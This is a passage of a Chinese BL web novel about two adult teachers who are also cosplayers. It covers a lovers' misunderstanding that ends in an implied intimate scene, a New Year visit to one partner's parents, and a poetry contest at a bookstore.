“我发现，你现在特别能撩我，”简璃瓮声道：“漫展上也是。” “我就夸夸你，谁知道你这么不禁夸，”陶与晴自己想起来也有点害羞了，喝了一口热牛奶，说：“谁让你平时老逗我的。” “再喊一声行不行。” 陶与晴：“得寸进尺吧你。” “想听。” 陶与晴转身在他脸侧狠狠亲了一口：“老公，行了吧？那你也叫一声。” 简璃心情很好：“想听什么。” 陶与晴微微拉开一点两个人的距离：“那你自己想想我想听什么呢。” 简璃端着嗓子：“夫君，快去就寝吧，妾给夫君暖好被窝了。” “哈哈哈哈哈……哪有你这种妃子啊，你比皇上都壮好不好。” “夫君怎么这样，妾心里好是悲凄啊。” 陶与晴抬手去揉简璃的脸，憋着笑说：“真是越来越不着调了。” “看见你就无师自通了。” 阳台开始吹风了，简璃伸手挡了挡，拉着陶与晴走进屋里。 “其实你不用送我什么，”简璃关好窗户说：“你陪我走过的那些日子，都是最好的礼物。” “……你看出来啦，”陶与晴端着杯子站在一旁，说：“是学生们想帮我问，他们也没恶意。” “这段时间那群小孩子太明显了，”简璃转身蹭蹭他的侧脸，“很难看不出来。” “但是我不知道该送你什么呢，又总觉得上价值上情怀的东西有些敷衍，可是贵重的东西，又太俗了。” 总不能真把自己送他吧……？ “你已经送了我很多东西了。” 陶与晴可不记得这回事：“比如呢？” 简璃没戴眼镜，目光淡淡、却是好看极了的眼睛看着陶与晴，声音平缓：“比如——阳光、晴朗的夏天、时间、还有爱情……” 陶与晴没什么想说的，抬头在他唇上印上一个吻，轻轻松开。 ……想把自己送给他了。 陶与晴望进他的眼睛：“这些东西也是你给我的。” “都不如你。” 两个人屋里，再次交换了一个清浅的吻，彼此的手缠上了肩膀和腰，那杯牛奶放在桌子上慢慢凉了。 情动却点到即止，简璃率先松开陶与晴额头抵住额头，一只手还扶着他的腰，但是隔着衣服不安分的乱摸。 陶与晴的脸热热的，搂住他脖子的手收缩了一下。 他眼神泛起波澜，有个小火苗在心里张牙舞爪，最后还是只抿了抿嘴，脱口而出：“……不要……” “……那快去休息了。”简璃迅速松开他。 “……？” 陶与晴整个人是懵的，而且简璃停手以后更懵了。 哎？ 他刚才其实只是……不知道要说什么。 对方就这么老实的收手了？ 喂！ 陶与晴那晚没怎么睡着，做了一晚上春梦，羞得不行，早上起来直接咬到了舌头。 搞得他都不敢和简璃亲亲，因为疼。 假期结束后舌头才好。 为什么剧情是这样子发展的啊！陶与晴很懊恼。 班上大部分人都猜出来他俩在一起了，不如说老早就已经觉得他俩在一起了。 毕竟他们俩之前不就挺如胶似漆的吗，谁知道到底谈了多久了。 而且有陶老师在，简老师心情好了就少骂他们，何乐不为呢。 对于这段感情必然是摇旗呐喊加油助威啊。 这两位帅哥的流言四下飞传，很快就传成了简璃是为了追爱才来的这所学校之类的，还有什么离玉和扶光其实结婚了七年了。 逐渐没边了。 事实非也，而且陶与晴甚至发现，简璃对他的贴贴变少了。 亲亲也变少了，那种会被晋江屏蔽的亲亲更是趋近于没有。 陶与晴直觉不能这样下去。 某天晚上，陶与晴主动凑上去，骑上简璃的大腿，亲了两口简璃，他感觉到简璃浑身一僵，结果他被简璃拦腰给抱开了。 “洗澡。” “……？” 简璃洗完澡就回房间了！ 搞得这下陶与晴想做点什么，都做不了了。 这个亲亲狂魔和吃豆腐狂魔怎么忽然变了？ 陶与晴想不通。 怎么回事！ 明明他都做好心准备了！ 他们不是应该顺成章的……做些晋江不准写的事情吗。 徐老师某天在办公室里，点醒了陶与晴。 “我新谈的那个男朋友，还没一个月就倦怠期了，现在感觉他有点冷淡……” 倦怠期。 倦怠…… 倦怠期？！ 陶与晴心中警铃大响。 还是说……自己对他没有吸引力了？ 十一月份下旬，祁城的气温骤降，向思远从工作中抽身破天荒的主动约了陶与晴吃饭，正好陶与晴也想和他说这件事。 简璃晚上还有课，所以就不来了，但是他用围巾把陶与晴过的严实，却也只亲亲他的鼻尖说：“别着凉了，如果太晚了我来接你。” “……知道啦，”陶与晴点头拍拍他的肩膀，说：“快回去上课吧。” 校门口的保安大哥眼睛都看了好久。 这就是现在年轻姑娘爱看这些原因吗？你别说。 不远处车里的向思远也把一切看在眼里，陶与晴走过来之后调侃他：“这么甜啊，你俩。” 陶与晴反驳，透露着一点不满：“我们又没做什么……还没做什么呢。” “不是吧，真的假的，”向思远听出他的话里话，扭头看他：“你俩谈了快半年了。” “……什么。” “做该做的啊，”向思远说：“你这个态度这么不积极，还怎么做1。” 向思远甚至去恶补了一些bl小说，总结出来的经验就是——先发制人外加不要脸。 而且他还去找了玉光逆家的粮，但是不知道为什么，明明其他圈子混邪的同人女这么多，但是玉光这个圈子，逆家只能在夹缝的夹缝中生存，就这样都还有好几篇文是柏拉图，也没黄文啊。 向思远不服，凭什么都认为他的发小不攻。 虽然事实好像是这样的，但是也不能这么瞧不起人吧！向思远痛心疾首。 这是真的冤枉陶与晴了。 他明明就很积极，不能再积极了。 为什么不积极的人反而变了啊喂！ “我也想啊，但是……” 向思远看他支支吾吾的样子，最终摇摇头，觉得自己还是早日回归正道吧，别搞什么邪教，开车说：“哎，算了，那我还是把你要穿女仆装的录音给简璃听吧。” “你真的录了——！不要啊——” 其实陶与晴自己也不记得自己说了什么了，就记得个女仆装的flag，毕竟这都多久了，而且他当时随口说的。 老地方，陶与晴点好了菜，说：“这顿我请，我想来问问你，关于情侣之间那种事情的。” 他想问问情侣之间的倦怠期该怎么办。 向思远站起来，用手背贴了贴陶与晴的额头。 “你没事吧，我单身二十多年你问我这个？” “但是你是男人啊，我不也第一次谈，”陶与晴认真的说：“而且除了你，我不好意思和别人说这个。” 因为对方贴贴的兴致很低而胡思乱想什么的，说出来都有点丢人…… 向思远仔细一想：“……也有道，那你说来听听。” “就是最近感觉……简璃好像对我进入了倦怠期。” “哦，”向思远面无表情站起来：“得到了就不珍惜是吧，我……” “坐下坐下这位秀儿，法治社会！” 陶与晴接着说：“最近我主动接近他，他也无动于衷，甚至转移话题，我就在想……他是不是对我没有、兴趣了啊？” “你说的是兴趣，还是性趣。” “……都、都包括吧，”陶与晴说：“其实也是一点小事而已，除了我们肢体接触少了点，其他的都很正常，但之前他都很喜欢和我接触的，最近忽然跟着天气一起降温了似的。” 向思远：“那这件事可太严重了。” “啊？很严重吗？” “太严重了。” 向思远觉得这简直叹为观止。 他发小是长得有问题吗。 没问题，清秀俊朗。 简璃上辈子是个王八吧？这么能鳖？ 他都接受陶与晴是0了，要求个活好的不过分吧，找个帅哥只能看不能吃这不憋屈吗？ “如果他对你真的没性趣，”向思远说：“那你发誓你和他分手。” “你必须得试试他，”向思远又说：“作为一个生正常的成年男人，这关乎你下半生的幸福。” 陶与晴弱弱道：“也、没有那么严重吧，而且不行就分手什么的……” “你发誓，他要是不行，你会分！” “我、我……” “你立字据！” “……立。” “立字据！” “立！” 陶与晴不知道这件事原来这么的严重吗，其实他只是来问问的。 吃完了饭，陶与晴没敢喝太多酒，只是小酌了两口，接着和向思远聊到别的事情。 “你真的录了，我当时说了什么来着……” “你说他要是离玉你就穿……” “打住打住，这个我记得，我是不记得我具体说了什么，”陶与晴回忆里一下，打个了寒战：“人真的无法共情曾经的自己啊。” 向思远耸耸肩，拿出手机点开收藏夹，拿远了点。 【代餐罢了，他要是离玉本人，我穿着女仆装跳钢管舞。】 【已录音，莫辜负。】 【怕他不成，我想到离玉要是简璃，我就浑身难受……我老公一定不能是这种人。】 “啊原来我说的是这个啊，”陶与晴尴尬的笑了笑，“哈哈……” 这绝对绝对不能被简璃给听见。 他家简老师会暴怒的。 所以陶与晴打算让向思远销毁罪证。 向思远抬头，看见个什么，眨了眨眼。 向思远：“……哇哦。” 陶与晴：“……？” 陶与晴看见一只手伸过来，握住了自己的手腕。 那只手，那个腕表，那个衣袖。？？？ 鬼！ “那麻烦扶光老师回家好好告诉我，你老公得是什么样的人？” 简璃本来是在盯晚自习的，但是英语老师忽然过来，说要赶进度讲一下卷子，简璃就把后一节课让他了。 于是他看了看时间，觉得应该去接自家陶先生回家的。 老地方。 巧了不是。 简璃拉着陶与晴就走了，向思远坐在原地反应过来以后，和不远处的老板娘面面相觑，最终说：“请客……你俩……没一个付钱的啊？” 向思远不放心，给陶与晴发了条消息过去。 【向思远】：他？ 【陶与晴】：没事了……谢谢啊老向。 …… 当他没问过，狗情侣，真服。 所以原来，刺激点要在这儿？ 简璃不是不行啊。 ……他是不是也该找个对象了，怎么逐渐看不懂情侣了。 陶与晴在简璃的副驾驶握紧了安全带，刚被摁在车里亲了几口，嘴唇红红的。 “……那个，我之前……” “回家慢慢说。” “哦……” 陶与晴也是老实上了。 一到家，陶与晴外套还没脱下来了呢，就被简璃摁在墙上亲。 好不容易松开想喘气，舌尖又被含住了。 “唔嗯……哈……” 屋子里比外面缓和很多，这么一遭陶与晴有点出汗了。 简璃终于松开陶与晴似笑非笑：“什么叫代餐，哪种人？嗯？离玉和简璃哪个好看？” “我……” “还有，女仆装什么时候穿给我看？” 陶与晴思绪一阵乱码。 虽然简璃很幼稚，但是这怎么解释，简直铁证如山。 简璃怎么提前下班了？ 不对不对，自己又不是出去偷情的！这么心虚干什么？ “我当时……不对！”陶与晴冷静下来，找到了论点，喘匀了气，说：“你就没有想过我为什么要这样说吗？” 简璃一愣：“……” “是因为你当时凶死了。 简璃气势减半：”……我很凶吗？我明明没有。” “有，你凶巴巴的，你还说我。” “……我说你了？” 死去的记忆活过来了，陶与晴点点头，直视他：“你让我对同事说话，还是想顺了再说——我和你说话需要想顺了再开口吗？” 简璃也不知道这回旋镖是怎么绕了一圈打回他身上的。 可是他是陶与晴唉，喘气的样子好可爱。 简璃看着他就没脾气：“也是……没那么需要。” 陶与晴扬了扬头：“我的教育念，你有什么意见吗？” 而且陶与晴耀武扬威的样子只对他简璃，怎么不算一种偏爱。 他们家陶先生就是连生气都很像小兔子。 可爱。 简璃摇摇头：“没意见，我觉得很好。” 陶与晴继续瞪他：“那你之前算怎么回事。” 简璃笑的溺爱：“算我眼神不好。” “……认错态度这么良好？好吧原谅你了。”陶与晴抿嘴，咂摸了一下。 然后他兔兔祟祟的从包围圈里绕出来想跑。 “不对啊，陶老师，”简璃意识到自己被带跑偏了，一把把他拉回来，“我们难道不是在谈女仆装的问题吗？” 第62章 “有……有吗？”陶与晴没蒙过去，不敢看他，“我怎么不记得……” “所以说，”简璃握住他的腰，“你是不是很不喜欢我。” “我没有，那都是气话……”陶与晴替自己辩解，说着说着，刚想问他为什么这段时间是怎么回事。 谁知简璃抬高了点音量：“那为什么不愿意亲我。” “我……！啊？”陶与晴有一种被反客为主的感觉，说：“不是你不愿意吗？” 难道不是简璃一直在躲他吗。 “是因为你怕我，”简璃微微眯眼，凑近陶与晴：“你说你不要，而且为什么之前亲你你就躲。” “我哪有——” 等等。 上个月自己咬到舌头了。 那几天确实，一亲就躲，由于原因太过丢人他就没好意思说。 做个春梦紧张到咬舌头。 陶与晴还想要点脸。 可是那是因为咬到舌头了啊，就因为这么个由？ 陶与晴悟了：“那你这段时间一靠近就跑是因为……” 简璃委屈极了，“我是个成年男性，陶老师、你这样钓鱼执法，还只给我看……我当然要自己冷静冷静了。” 陶与晴忽然有些愧疚。 “我不是那个……哎呀，我给你解释一下。” …… “所以……我没有怕你，我就是……”有点不好意思而已。 “……所以，你之前是不小心咬到了舌头？” 简璃有些哭笑不得，觉得两个人这段时间好像是闹了个大笑话。 “……对啊，”陶与晴脸都红透了，低着头说：“我还奇怪你干什么呢，我都、我都这样了……你居然每次都逃跑。” “……”简璃想到陶与晴之前的种种行为，忽然明白了什么，CPU紧急过了一串代码，差点冒烟。 最后简璃决定把芯片罢了，丢掉智。 “那这次谁也不准跑了。” 他吻上去，感觉到陶与晴双手搂上自己的脖子，亲了一会伸手把他单手抱起，往卧室里走。 “等下。”简璃突然从床上起身。 “？”陶与晴气还没喘匀呢，衣服稀稀拉拉被扒了一半。 等什么等什么，难不成简老师又要压枪不成。 再来这么一遭陶与晴顶不住了，能不能给个痛快。 “为人师表，既然说都说了，那就要做到，”简璃笑了笑，说：“先换衣服吧，陶老师。” “……啊？” —— 简璃几年前出过一个女仆杀手的同人企划。 但是这件衣服在简璃身上，杀气十足，拿着枪械武器A的很。 陶与晴当时还保存了下来，用小号在评论区大肆赞扬，其他粉丝也都是清一色叫老公的，帅字能刷半边天。 为什么…… 陶与晴揪着裙子边缘坐在床上，浑身上下哪都红，臊的慌。 为什么、在自己身上、完全不一样！ 而且这个同人企划不是杀手主题吗！杀手和女仆装有什么必然联系啊喂！ 简璃伸手勾住他的腿环，把人轻轻拽过来。 “听说你是上面派来刺杀我的？”简璃勾起嘴角，说：“你的武器呢，藏在哪儿了。” 简璃随地大小演，陶与晴反应了一下，不甘示弱。 ……谁说他不能A了。 他抬手揪着简璃的衣领把他姿态放低，和他对视。 陶与晴脸上的绯红还没消下去，眼神微微一瞪：“你想从我身上找找吗？” “那先从这里找找。” “唔……” 他们唇齿痴缠在一起，陶与晴的舌尖不想任人摆布，朝着简璃推回去。 简璃的声音压在两个人喘息之间：“很有骨气。” “要么做服我，”陶与晴咬了咬他的唇，伸手点点他的头：“要么一枪毙了你。” “为了保住我的小命，”简璃低低一笑：“只能恭敬不如从命了。” …… 陶与晴第二天醒过来，床上的狼藉已经被收拾干净了，昨天晚上他睡过去以后啥都不知道，看起来都是简璃收拾的。 而且自己身上衣服也换了一套干净的。 他感觉脖子处有风灌进来，迷迷糊糊的搂住简璃在他怀里拱了拱，轻嘶了一声，感到一只手伸下去给自己揉腰。 ……混蛋，到底憋了多久啊，他差点没死在床上。 唔……腰好酸…… 今天上课简璃心情好的异常。 “简老师，我昨天写作业漏看了一道题……” “没事，”简璃只是笑着说：“补上就好。” 台下的同学一个比一个震惊。 你是谁啊！ 上课的时候，有同学睡觉，被简璃点起来。 “……啊简老师我昨天写作业有点晚，不好意思打瞌睡了。” “没关系，”简璃手里转着一根粉笔，语气没有丝毫生气：“去洗把脸，然后坐下吧。” 你到底是谁啊！ 简璃甚至给向思远包了一个大红包，对方表示那就不客气的收下了。 向思远觉得这是自己应得的。 下课准点走了以后，教室里寂静了几秒钟，忽然嘈杂的窃窃私语起来。 “他被夺舍了？！” “不对劲不对劲，事出反常必有妖……该不会是我们上次月考考差了？” “可是我们不是考的不错吗，陶老师还表扬我们了啊。” “谁知道啊，也太吓人了吧，我宁愿简老师骂我两句。” “我也是，你刚才看见他那个笑了没有，那就是传说中的皮笑肉不笑吧？太吓人了太吓人了。” “他笑的我害怕，求求了，到底谁惹到他了啊。” ˙重点怀疑对象赵遇京和邓留萤对视一眼。 表示不是他俩啊。 他俩这段时间认真听话什么都没干啊。 邓留萤都不敢当着简璃的面提离玉了，谁还敢做离玉的狗啊，她现在只想偷摸嗑嗑cp她有什么错呢。 同学们百思不解，倒是晚点时候陶与晴的课，陶老师的脸色很不好。 而且全程站着，时不时还扶一下腰，他似乎是想到什么愤怒的事情，心情很不好，搞得大家都不敢说话了。 其实陶与晴并没有心情很不好。 他只是腰酸，加上某些地方…… 简璃这个…… 王八炖汤——鳖一肚子坏水。 ……也算他主动招惹，算了算了，不跟他计较了。 算他有点良心，还知道下课了过来扶自己一把。 简璃扶着陶与晴，语气出奇的温柔：“都说今天的课我来了，怎么还坚持要过来。” “不要，”陶与晴说：“敬业爱岗。” 作为一名优秀教师，他可是一天都没有缺席过的。 这点小事，怎么能阻挡他给孩子们上课的心。 嘶……就是腰疼。 陶与晴想到昨天晚上，还是有点臊。 干嘛和简璃演奇怪的play……不然说不定他不会这么严重。 回到办公室，简璃给陶与晴倒上热水，“那一会回去好好休息，马上元旦了，你要回去吗？” “回，”陶与晴在办公室坐下，抬头看他：“这次你不用把我送到就走了吧？” 简璃伸手摸摸他的头，思考了一下，笑了：“嗯，给老师师娘问好去。” 简璃之前去过一次，其余都是送到楼下就走了。 每次他都绕这么大一圈送自己，陶与晴之前还挺过意不去的。 想来他们在一起这个事情还没通报给上级，刚好趁这个机会带着简璃见见光。 两个人打那以后做什么都自然亲密多了，有时候无意识的秀恩爱，虽然没有什么过分的接触，但是这种甜滋滋的老夫老妻，看的隔壁徐老师默默咬手绢。 她那个木头男朋友啊，她也想要这种甜甜的恋爱。 徐老师只好抱着教科书叹气。 “徐老师，”高老师可是个老妻奴了，说：“你得多沟通沟通啊，小伙子可能反应比较迟钝。” 陶与晴意识到什么，感觉是最近工作太轻松太松懈了，但是他不是有意和简璃撒狗粮的，说：“不好意思啊徐老师，我们一定多注意。” “没有没有，”徐老师摇摇头，说：“不是你们的错，我觉得你们挺好的……就是，我男朋友他——他太直男了，哎，要是他也能和陶老师你学学就好了。” 简璃扭头：“……” “不、我不是那个意思啊简老师。” 简璃寻思刚才自己哪有这么吓人，只是回头看看而已，出口找补：“是上次你说追你那个吗？” “嗯嗯，是他，他追了我挺久，不过……也不是说他变了，其实他追我的时候就有点傻傻的，但是他很坚持，我还挺喜欢这种人的，”徐老师用笔在空白纸上画圈圈，说：“就是有时候，也想浪漫一点嘛。” 陶与晴笑了笑，说：“徐老师，浪漫也可以你制造的，大胆点直接告诉他。” “我？”徐老师比较不好意思，说：“可是我也没什么头绪……万一他不喜欢怎么办。” 高老师老成说：“小徐啊，喜欢你的人，你做什么都喜欢，你不也挺喜欢他的傻气嘛。” 徐老师腼腆：“话是这样说……” 简璃：“高老师这么懂？” “嘿，想到年我追我媳妇的时候，那可是浪漫的不得了，你还别不信，我给你们说……” 高老师又开始说他年轻时候的英雄事迹了。 办公室剩下几个人给了简璃一个“你问他干嘛”的眼神。 简璃：“……” 还是批改作业吧。 元旦前一天陶与晴挺紧张，虽然说自己父母之前就见过简璃了，老爸还挺喜欢简璃的，两个人又是师生关系知遇之恩。 但毕竟身份不太一样了…… 本来陶与晴的确紧张。 直到看见简璃比他更紧张，突然就不紧张了。 “你也不用买这么多东西吧，”陶与晴看着客厅大包小包的，有些怀疑自家简先生掏空了超市，说：“你这是往我家进货呢。” 还有，为什么还买了一棵那么大的发财树啊？ 简璃长长叹了口气：“我怕他们不喜欢我。” “上次不是见过吗，我爸是你老师啊。” 简璃：“更害怕了。” “呃。” 多年以后学生拐走了自己儿子什么的。 好像确实是有点尴尬。 “没事儿，”陶与晴拍拍他，安慰道：“我妈喜欢你，我爸肯定不会为难的你。” 最终也没把东西都带去，尤其是那棵树，陶与晴果断让简璃拿去退掉了，谁会送棵发财树当伴手礼。 车停在楼下，简璃还有点不敢下去，握紧陶与晴的手。 陶与晴调侃他：“别紧张，我妈已经知道我带对象回家了，可不能临阵脱逃啊。” “那肯定不会的，”简璃仰头，说：“就是得酝酿一下。” 下车没走几步，边雅丹就在小区门口等着了，她朝着陶与晴挥挥手，喜笑颜开。 “儿子！快来快来，”边雅丹看见了陶与晴身后的简璃，道：“哎，你不是说你要带对象回家吗，又是人家简老师送你的呀？” “妈，”陶与晴走过去，说：“给您介绍一下，这是我对象，简璃。” “师娘，”简璃戴着眼镜，乖巧的点点头：“跨年好。” “……”边雅丹后退了一步，随即赶紧说：“好好好！跨年好跨年好！快快快……快进屋快进屋！准备给你们做一桌子的菜，快快快！” 陶与晴：“妈，您别紧张。” “我、我不紧张，我不紧张哈哈……快快快！” 屋子里的陶炀知道简璃是陶与晴对象之后，毛笔一掉，也不知是喜是忧。 他重重的拍了拍简璃的肩膀。 “好小子，好小子！” 简璃不敢动，尴尬的喊人：“老师……” 简璃被治住，服服帖帖的。 姓陶的，他都惹不起一点。 边雅丹拉着陶与晴走到一边，说：“哎，你真的和简老师在一起了？怎么不早说啊。” “那不是还没在一起多久，想着正式带他来见你们嘛。” “多久了？” “大半年吧。” “这还不久！这种好事怎么不早说啊，”边雅丹说：“哎呦，我这心脏，总算是安下了……你上次带人家回来我就觉得你俩不对劲，你看看，母亲的眼光永远都准。” “是是是，您准您准。” “我儿子，哎呦，找这么大一帅哥，哈哈哈……真好真好。” “妈，”陶与晴看着满脸得意的边雅丹，说：“我算是知道我的花痴随了谁了。” “胡说八道，指定是随的你爸，”边雅丹使唤他：“过来，帮我摘菜。” 书房里，陶炀递给简璃一个本子。 “……” 他要求简璃写一千二百字的说明文，阐释他凭什么拐走自己儿子。 也是以奇怪的方式回到学生时代了。 陶与晴给过来给书房的两个人送茶水，本来以为他们会和其他的家长见儿婿女婿一样，聊聊人生，说说规划什么的。 谁知道进去简璃在埋头写作文。 陶与晴：“？” 这一幕真是有点诡异了。 “爸！”陶与晴把茶水放下：“您干嘛呢！” “我检查检查他水平有没有退步，去去去，你帮你妈去。”？？ 午饭之前，简璃写好了作文，交给了陶炀，后者皱着眉头翻了翻，点点头，说：“还可以，就是有几处写的太主观了，不太好。” “是，请老师指点。” “你看看比如这里……” 陶与晴在书房门口，有一万个嘈想吐。 不是，你们教语文的都什么精神状态啊。 还好他没教语文。 吃过饭，陶与晴是不想简璃和自家老爸待在一起了，谁知道他们会不会再做一套阅读解。 “我带你出去逛逛吧，”陶与晴拉着简璃，说：“附近有条小吃街。” 边雅丹也点点头，说：“对对对，带简老师去外面转转。” 陶炀此时起身：“那我也陪你们两个出去转转吧。” 边雅丹拍了一下他：“老头子，人家年轻人出去，你凑什么热闹。” “一个我学生，一个我儿子，我怎么不能跟着了。” “坐下坐下，”边雅丹把人摁回去，对简璃和陶与晴说：“没事儿，你俩玩，别他。” 陶与晴在门口说：“谢谢妈，我们先走了。” 出来以后两个人非常同步的松了口气。 “不好意思啊，”陶与晴看了看他：“我爸平时也没这样的，可能是知道我们在一起他一时间……” “没事，老师还是老样子，”简璃说：“上学的时候他就爱出题考我。” “……也是。”陶与晴回忆了一下自己父亲之前，好像的确。 就是没想到他考验儿婿也是出题制的啊。 “怎么忘了戴手套，”简璃捏捏他的手，说：“天凉了。” “……忘记了。”和简璃在一起就容易忘事儿。 最近被他养的有点好，嘴还没张就倒水，手还没伸就递笔。 “下次注意，你的手才好点，没一阵子呢。” 陶与晴拉着他，说：“知道了知道了，走吧，我带你在我家附近逛逛。” 简璃点点头，手指伸进他的指缝和他十指相扣，然后牵进自己的大衣口袋里：“好。” 然而他们后面，一位不死心的老父亲兼老教师，悄然的下楼跟上了。 走路没声音的那种。 陶炀摸了摸自己的下巴，哼了一声。 他要看看他的学生和儿子谈恋爱的时候都干些什么。 要是他俩学些猫三狗四的，什么抽烟喝酒，他一定要—— 陶老教师默默跟在后面，看见他俩进了小吃街。 没有买乱七八糟的零食，就买了一个糖画。 “可惜啊，”陶与晴接过一只蝴蝶糖画：“差一点点就转到凤凰了。” 简璃喂给陶与晴：“尝尝。” “唔，好甜，有点太甜了。” 简璃笑了，重新牵起他的手：“这种糖是这样的，小时候我也觉得甜。” …… 看起来很正常。 陶老教师欣慰的点点头。 他儿子和学生谈恋爱，也没学坏。 好好好。 好啊好啊…… “啊不好意思……” 这里人来人往的，因为元旦节聚集了各种年轻人。 有一个人没看见蹲守在拐角处的陶炀，不小心撞了个正着。 “小伙子，看路啊，”陶炀用一种老练的口味教育道：“怎么能在大街上追逐打闹呢，多危险。” “是是是……？啊？陶、陶老师？” 陶炀仔细一看。 这不是自己前几年的学生吗？算算年纪，应该是大学生了吧。 “路……路然雪！好啊是你小子，”陶炀指着他，还记得他的名字，说：“还是和之前一样，毛毛躁躁的。” “陶老师，您怎么在这儿啊，”被叫出名字的小伙子不好意思的挠挠头，说：“这大过节的……您一个人啊？” “哦，”陶炀仰头示意：“我来看看我儿子和他对象，前面那个，那两个高个子，他对象还是我学生呢，你师哥，看见没。” 对方朝那边看过去，眼睛都瞪直了。 “您、您说，前面那个穿黑色长风衣戴眼镜和卡其色短外套的那两个人？” “是啊，你这孩子怎么了这是。” “我靠……” 他似乎意识到什么硬生生把一句粗口憋了回去。 “……哪个是您儿子啊老师？” “衣服短一点那个。” “……” 我靠。 我去。 扶光是他老师的儿子？！ 离玉是他老师儿子的对象？？ 他是离玉老师的师弟？那离玉是扶光老师的……那他又算是离玉老师的……等一下这道题他怎么不会算。 飞雪CPU安静的烧了一会。 “那您这是……”他才发现他老师怎么偷感怪重的，问：“但是您为啥躲在这儿啊。” 害的他根本都没看见，本来还想走过去和扶光离玉打招呼的，现在也不干了。 已经幻视一些教室后门了。 “我不得悄悄的观察才知道他们两个学没学坏，你们这些小年轻，别以为我不知道，一谈恋爱啊就玩心大了，课也不上作业也不做。” “……” 飞雪很想提醒一下他。 您儿子和学生他们已经成年了，并且有工作了。 不至于吧，老先生。 “……我觉得这一点您应该能大胆放心。” 飞雪眼下刚好没什么事，就和陶炀一起偷感十足的跟踪简璃和陶与晴。 他也不想的，但是他觉得放老师一个人在这儿，也不是个办法。 这都五十几的人了，怎么出来玩碟中谍那一套啊。 顺便…… “冷静老师，这就是个街头小游戏，离……您学生拿的不是真枪！……哇打中了哎，二等奖。” “哎，那不是抽烟，您仔细看，那是冬天的雾气，他和您学生闹着玩呢。” 他还得替离玉和扶光解释解释，真是太够意思了。 远处的陶与晴和简璃不约而同的超后面看了一眼。 “……老师还没走呢。” “不知道……”陶与晴悄悄说：“但是感觉他身边多了个聒噪的人，不知道是不是在和他说话，我不敢往后看啊。” “我也是。” 其实他俩半道就发现了。 但是一直配合着老先生没拆穿。 飞雪陪着陶炀鬼鬼祟祟跟了一路，总算快走完了一条街。 飞雪感觉自己大冬天的都出汗了，说：“您这下放心了吧，咱大冬天的，回去吧。” “……哎，前面有个对诗词的摊位，”陶炀刚想着要不然还是走了好了，结果看见陶与晴和简璃走到一个摊位前，好像打算参与参与，说：“正好啊，你过去，两个学生比比看。” “啊？”飞雪指了指自己：“我？” 对离玉？ 第63章 “我……”飞雪笑的坦荡：“哈哈哈！您开玩笑的呢吧，我？哈哈哈……” …… “离……啊不，”飞雪从后面拍了拍简璃：“简师兄，我和您比一场怎么样。” 陶与晴和简璃同时回头，不约而同的都懵了。 飞雪？ 他怎么在这儿。 陶与晴眼尖的发现了不远处站着，非常欣慰一笑的父亲。 “师兄？”简璃打量他一下，很疑惑，“什么师兄。” “我们都是陶老师的桃李啊，”飞雪和他握手，说：“看见这家书店在外面摆摊搞活动，我直接就是一个热血沸腾，迫不及待的要和您比比看了。” “……” 简璃和陶与晴只是路过罢了。 因为两个人都喜欢看实体书，所以打算进书店逛一逛，并没有打算参加外面的宣传活动。 但是既然他都这样说了。 “好，”简璃说：“我接受。” 飞雪苦笑。 谁让他是个敬重师长的好学生呢，真是孝顺的烦恼啊。 “两位帅哥，要参与我们的宣传活动吗？”店员小哥热情的推销，说：“哎，咱们这个，闯关制，成功通关的客人可以免费拿走典藏版图书一套，外加周边赠品，对自己诗词储备量有信心的，大可上来试试嘛。” 简璃和飞雪纷纷上前报名，陶与晴抱臂摇了摇头，转身朝不远处伪装在盆栽后面的父亲走去。 “爸！” “哎哟喂，吓我一跳，你这小子。” “您跟我们一路了，”陶与晴揭穿他，无奈的说：“飞……刚刚那个小帅哥，就是刚才跟您说话那个？您认识他啊？” “怎么不认识，”陶炀从盆栽后面走出来，说：“那是我转去初中部教的第一届初三学生，那小子可是真毛躁，我忘不了。” “您真是……年纪大了，记性到不错。” 陶与晴和陶炀走到书店摊位前。 “虽然我很想支持您初中部的第一届学生，”陶与晴说：“但是我们家简老师可是教语文的。” “哼哼，”陶炀负手站着，说：“你可别小看那小子。” 这边父子俩眼神交战，那边台上简璃和飞雪魔法对打。 这家书店也是真的精，为了不让参与者都能占到便宜，一共设置了十五关诗词对仗，并且越到后面越偏门，有的甚至作者都叫不出名字。 是有多不想让人拿到典藏图书啊。 台上的不少人都败下阵来，最后只剩飞雪和简璃。 他们在题板上奋笔疾书，从陶与晴这个微妙的角度，能看见简璃在纸上龙飞凤舞的字迹。 就像他整个人一样锐利自信。 最终，飞雪kuakua一顿写，就对了七首，摊开手摇了摇头。 他哪里打得过在职语文老师啊，纯凑数。 陶炀约莫是猜到会是这样的结果，并没有数落他，而是鼓起掌点点头。 “还算是没把老师教的全部还给我。” 飞雪被陶炀夸了，一时间也有点不好意思，讪讪一笑说：“哪里哪里，我这……还是没师兄厉害。” 简璃成功写完了十五句诗，连一个错别字都挑不出来，店员小哥敲响旁边的金锣，宣布这位客人率先拿走了典藏图书。 “凭此票据可以去我们店内领取，”店员小哥把一个单子递给简璃，说：“帅哥真是博学多才啊，这么偏门的诗句都能答得上来，厉害厉害。” 简璃在台上拿着票据对陶与晴晃了晃，好像是在说“夸我啊”。 陶与晴笑的肩膀抖了抖，刚想走上前去和他一起领奖，回头看了看自己的父亲。 反正说到底都是自己的学生。 陶炀朝他扬了扬下巴，也算是放下心来，说：“你们玩儿吧，我这老教师一把年纪的，就先回去了。” 陶与晴站在原地看了看，自己父亲慢悠悠的晃回去，是真走了，扭头去看简璃。 他和飞雪正在书店门口聊天。 “不是吧离玉老师，您真是我师兄？扶光老师真是我老师的儿子？”飞雪觉得这个世界真是太小了，感慨万千，说：“这可真是天意弄人呐。” 他是没想到起因是一件莫名被拿走的外套，让他意外的结识了两位大佬，而且这两位大佬还和曾经的自己有千丝万缕的联系。 说不定另一个平行世界，他们不是这么相识的，但总归会认识的。 陶与晴走上前来，说：“我们也很惊讶，不过祁城的确也不大，学校也就这么多，这也算是情之中的事情吧。” 简璃再次晃了晃手中的票据，说：“走吧，去拿战利品。” 飞雪倒是得了一个小参与奖，是一个书店周边的小钥匙扣，还是挺可爱的。 走进书店就有店员领着他们去拿书，典藏版的图书还需要包装包装，所以得等一等。 那图书店的店员小姐不知道是不是认出来他们三个人，一直朝着这边看，但是又不敢上前来。 最后在同事的怂恿之下，走上来问：“是……离玉老师扶光老师和……飞雪老师吗？” “对，”飞雪大大方方的打招呼，说：“你好啊，可以合照哦。” “啊，太好了，我可喜欢你们了，你们的每期视频和照片我都点赞。” 店员小姐要到了合照和签名，特别的高兴，转过身对着同事就是一顿炫耀，那同事不看什么二次元，不太懂，但是觉得这三个人确实长的很帅，有粉丝也正常。 